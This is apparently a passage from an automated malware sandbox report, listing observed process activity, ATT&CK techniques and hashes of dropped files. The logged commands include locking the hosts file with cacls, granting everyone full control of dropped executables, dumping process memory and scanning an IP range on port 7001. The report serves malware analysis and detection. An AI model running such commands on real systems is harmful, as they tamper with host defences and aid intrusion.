C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 4936 C:\Windows\TEMP\mfckutrue\4936.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4840 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 4312 C:\Windows\TEMP\mfckutrue\4312.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1620 -
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\mfckutrue\tbejirgpe\scan.bat2⤵PID:5092
-
C:\Windows\mfckutrue\tbejirgpe\iljtkedpu.exeiljtkedpu.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:5096 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:5380
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5684
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:5356
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5244
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:5440
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5672
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:4800
-
C:\Windows\SysWOW64\fkjvgk.exeC:\Windows\SysWOW64\fkjvgk.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1740
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\kbejuig.exe1⤵PID:1932
-
C:\Windows\ime\kbejuig.exeC:\Windows\ime\kbejuig.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2580
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F1⤵PID:1936
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:660
-
C:\Windows\system32\cacls.execacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F2⤵PID:4964
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F1⤵PID:2516
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:948
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F2⤵PID:100
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\kbejuig.exe1⤵PID:4844
-
C:\Windows\ime\kbejuig.exeC:\Windows\ime\kbejuig.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5436
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F1⤵PID:1092
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:972
-
C:\Windows\system32\cacls.execacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F2⤵PID:3020
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F1⤵PID:5928
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:4484
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F2⤵PID:4416
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
4.2MB
MD57a9f3c50533a5733af88afc9f14779b1
SHA11955a75ee3415f1d9fc2311a474a06766557b4c0
SHA2561bca3aa1130de2b2485c6bc5bce422d5281bffd1041ff3df9aaab22665de007a
SHA512546314982467234e4b0f8049b5aca92ef8c320cc3054d375b69054eddcc3bcce92d1500a2d171a3ffb7c35bffda9b552204fdba36ae941ea4922f5a2c687ea5b
-
Filesize
814KB
MD5561a053a008e9bf411f7f4f2f24566ba
SHA1743f4e96444b3d8f553395dabefc5a31b7a423cb
SHA256650363fb194beb436c42dc77b6b26c10d0375c9b6288ecb8911209341b2a7efc
SHA51226c62ffa45b0d04e18a9ad30d53633f1b615f7a3639db7ce10c210818ba450ce1a43f8c692ac5a10d2c3dc7a9995dff9e2533acef8c539c85f81e2fd6218ae34
-
Filesize
8.7MB
MD5f6c7e7a52b1dde1f8a19594b107f0989
SHA1138d3cc1c8f51f35df793234f6fbd078bf5a6ff4
SHA256aceacc3625a90427d4df3bdb12a6908c6bef4267d0a6590a4919623eeefb6942
SHA512b9310329f59920b4f5bcc322c7f34f3b07c8d7f31f285125b0762a6be8badd81bbf1002a4ad4d1d255e6eb45d75714eea23a30917c457171a4605a40175680e2
-
Filesize
7.7MB
MD5e49101a730d5d25eb928f9402c99ced8
SHA15f886bd0f87b5ddc9916cdb065797b39f9afacd5
SHA2565ba65bef440beba2693a962b6577a6b5a8b89d7a79a0fd19de9534f3e5f189c1
SHA512a78322f771e5eb768d3b3f43083370834fd47d8399b0a7f17c8cd93dcb86803398665b5a8a76920f3638106b7f97a9a8e87b3706d621c391d4928c43e0ce024d
-
Filesize
1.2MB
MD5163bf7732f0827e482043faf54ce04a2
SHA123f68fbda75b69bdba594aef30e80214b06f9c38
SHA2567fa41feef9357878aee771996c7788fd436e64f352179623d22e7ef263bcd0c8
SHA5120fcbf708bb1a075b8132ba7ddb85069643ad3a8833105f970567ef9430e452069d17747b7129144b29e69f4716bb74d9f7c6ce7646313e245e86b9ff77d82c31
-
Filesize
3.7MB
MD53e0ef4b992b31e7c4fa256c498ddb772
SHA15f8719cacfe089f77eb89963525c4cb9a462b1d1
SHA25654a68d7c8093edc9a897d3dbd2d4eacd98b158e4e1096a19901052bb237a8bf1
SHA512ce7bc5b8155dcde0b9dede72f26c87860fe2eb93151b642605abfde9469e5d6b6473b431767ae5399eebce42e84afb8d0d43ab26d6a0ec15720198a1c1cfe8bc
-
Filesize
3.0MB
MD5cf1c87febbfb7541e83cfb56907ba97c
SHA181d827f07a74dc6108842c2ea450e87e4b2345e5
SHA256ab21b265ac485592d569d4f4d5a90a9f5b62b1e71e183ebcea63b6fa7452f1b5
SHA51245fd65cb005b62e5339a7fa86ee93407187c31783f3522d33ecf688bc0a4209ac1073dc2333debd5ee2eddbf21362e4fb3d852da64983a0972a217d28db53ce2
-
Filesize
30.4MB
MD5c212c11a1b618f0611f713114156c31e
SHA1432a663c30d7535dc43f2e1ad74c5f3ac928342b
SHA256a3d27f9f928235beee18442a8a2e07c7ec001eb5060402ecaf398e33f170c95b
SHA512ff4ef8abf7bfe52635d8cbd82a25b2b1cf69028699a3450ef3ae88d5af07114f0ed0f8486ac2109a93a414814f0aaa419b9a7d70336d98670707f780433b02d0
-
Filesize
2.3MB
MD58bf8069f7d5cb0f6bd11ef6928586c10
SHA10a44f3099f8a3afdc3a4ead8ca1ac9147bc22e86
SHA2565dd8b6f6d7e35e55bf61a392b83833976fa01fdd06d771d8ef87d785a1cb6c7e
SHA5122da1720fe8a248747a36a74cf7438aa2a40f78cb8179a9fc360f19d8630553fb24d895ceb9258efc1da39940a8190ec58171268554c13043b98397a8eca1c48b
-
Filesize
20.6MB
MD5ab0526fdbb5987a026da106cd04dbcae
SHA10e333502f3c1b66016bfbca35f3c2292b4c5c2a4
SHA256c2dcd03c3aeb4a63fa12c219fa35cef39eb195f0ba5cde12e660ec47617cc74c
SHA512b22c39a5fecdde3d514cb2fe971ed94739220a9d728c8cf536b1ffe8b19b5db9037c5fa0357063704f875ed37ddd2ac1fba4340d58dd0c66ed4aa7963c01bea3
-
Filesize
4.4MB
MD523959b01ada31fedececeb4429390ad6
SHA156280ecf0aaf49798b578b516434b0676e4786d5
SHA2561711bea5b7258f7e142766f516a2734879a24bce83f327bd9e3bad09c07b01d8
SHA512451715bffdee91f1956fec7d43180036b63e5403fd1595149b60b5aba6f9b53f54fdf7bf11868f54ea0adc116d01744adaca370c01bf54947c3b382d136e2232
-
Filesize
44.6MB
MD5d6136d7a27af171266cfa9f8493459ad
SHA1904679de67676241b6f46dc0443c08985ec28046
SHA25635cfcd109d1b49c26fa6e2bd4037b2af18cd7c54969c5d21d0b8adf41c1ca2a3
SHA512e313fa1427587ba28f2327b12c0efe0068515a1199a97d4ea44f3ec577c12fbf00d0403aa8d7c55855ecfb2fd75374fb7dc01981940ba70f7a6a3f5c3908a0bc
-
Filesize
1.6MB
MD56991502d474afac5e669bda37380e0c8
SHA10a35ecc37c26efa9e2282da9f30d7c70cdd1dbfb
SHA256e113c2da4a43853f573e28d47cf5e31d01b91258334e649a62c31ce50f5be147
SHA512279fcea9f315188587329cb26caf2b9eef1ad3fd45271d9334fe8a1b1413fcec8f7f85d2a352217e7b6198ecc8f311aaae863a2e64c968f3d8f59df32545fa8a
-
Filesize
26.1MB
MD5819bce5061fd7f65996dce1c0996c068
SHA1b8073f3043ae3c3bfb434b01478f4861d90f3697
SHA256005509a893bf83cb1d24d20f658a4aed73d2ae36b686635000746cab7d59cd43
SHA512d7ee9a6069099e63b97f3b0ce2a2129460f3b41791b589805e138e85154d90e096401c8fc0a3520a54a3da312b7f0aaf81416fa9fa485ebaefda8ade4338c0d5
-
Filesize
1.9MB
MD523fdad1cb2cdae5a4334555fde0a4728
SHA12385ba9a0a3c57c1dbed5bb4a88b032fbd008079
SHA256ca59c0cfc88033a55140a88cdeb1d76695fcf7e257062a22db0525b7696f5c7f
SHA512df21dc4128f24193b3cb6a1599272503cb2b6c93b2e3d0fbb66aac7d73a9e72a2881862acb40456c7922226257ed53545a1850e7fedc7c94c509c7a550de55c8
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
11.0MB
MD57ff75100937b781ca1b46782536f115d
SHA156467657e3ecffa95b430000780fc33c60e1f676
SHA2563ac5aa3ded17f3b945da8691432db7a8f68dcb2bc80109f1cd9530617c5dbb92
SHA512b275e51e19d3d3b715dd5d2639530c023b5559426e4aa939fa98a2beef36e2a750e2380b02bd5767a53a84e448d3f6a5be929aa09cd266b430f668e904dca0a3
-
Filesize
1KB
MD5c838e174298c403c2bbdf3cb4bdbb597
SHA170eeb7dfad9488f14351415800e67454e2b4b95b
SHA2561891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
SHA512c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376